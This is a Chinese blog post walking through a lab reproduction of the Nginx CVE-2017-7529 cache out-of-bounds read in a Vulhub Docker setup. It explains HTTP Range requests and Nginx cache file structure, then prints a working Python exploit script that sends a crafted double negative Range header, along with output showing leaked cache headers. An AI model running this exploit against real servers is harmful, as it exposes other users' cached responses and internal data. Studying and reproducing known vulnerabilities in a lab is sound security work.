Nginx越界读取缓存漏洞复现CVE-2017-7529

发布于 2023-08-11  485 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2017-7529目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下
find ./ -name *CVE-2017*
docker-compose up -d
docker ps

  • 上一篇也是nginx的漏洞,就不介绍服务了

  • HTTP 断点续传是一种机制,允许客户端在下载或上传大型文件时能够在中断和恢复的情况下继续传输文件,而无需重新开始整个传输过程。Range 头字段是用于实现断点续传的关键。

  • Range 头字段用于指定客户端希望从服务器端获取的资源的特定范围。它的格式为 Range: bytes=start-end,其中 start 是起始字节位置,end是结束字节位置(可选)。

  • 当客户端发送带有 Range 头的请求时,服务器会根据该范围返回相应的文件片段。这使得客户端可以通过多次发送请求来逐步下载整个文件,或者在下载过程中暂停并继续下载。

  • 以下是使用 Range 头实现断点续传的示例:

  1. 客户端发起带有 Range 头的 GET 请求:
Copy CodeGET /path/to/file HTTP/1.1
Host: example.com
Range: bytes=0-999
  1. 服务器响应带有指定范围的内容:
Copy CodeHTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1000
Content-Range: bytes 0-999/2000

<file_bytes>
  • 注意,服务器的响应状态码是 206 Partial Content,并且响应头中包含了 Content-Range 字段,指示服务器返回的数据范围。客户端接收到响应后,可以将获取的文件片段保存到本地文件中。
  • 如果客户端在后续请求中需要继续传输文件的其他部分,只需更新 Range 头字段的范围,再次发送带有 Range 头的 GET 请求。

漏洞复现

  • 首先得访问一下服务,docker可以看到是开在8080端口的,访问一下

  • 当用户发起请求时,Nginx会先检查是否有与请求匹配的缓存文件存在。如果存在缓存文件并且命中了请求,则不需要再次访问后端服务器,Nginx会直接从缓存文件中读取HTTP返回包体,并将其返回给用户。这节省了从后端服务器获取数据的时间,提高了响应速度和性能。

  • 缓存的文件通常包含文件头、HTTP返回包头和HTTP返回包体。文件头包含了额外的信息,例如缓存的创建时间和过期时间等。HTTP返回包头则包含了原始服务器返回的响应头部信息,例如状态码、内容类型、缓存策略等。而HTTP返回包体则是服务器返回的实际内容,比如网页的HTML代码或者静态文件的二进制数据。

  • 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。这样就实现了读了别的请求的缓存文件,相当于获取了别人的请求内容.

  • 直接拿脚本打就可以了

python seb.py http://192.168.1.105:8080/
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
  • 读取成功,读到了别人的缓存,按照网上的说法,如果读取的不对可以改一下脚本里面offset的值,我试着改了几个,除非改的太离谱,不然影响不大,也可能是当前环境下面的缓存不太多吧
--00000000000000000003
Content-Type: text/html; charset=utf-8
Content-Range: bytes -606-611/612

ÆÖdb`RYnÖdr«\me"59526062-264"
KEY: http://127.0.0.1:8081/
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Fri, 11 Aug 2023 09:46:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
Connection: close
ETag: "59526062-264"
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

--00000000000000000003
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854773978-611/612

届ける言葉を今は育ててる
最后更新于 2024-02-07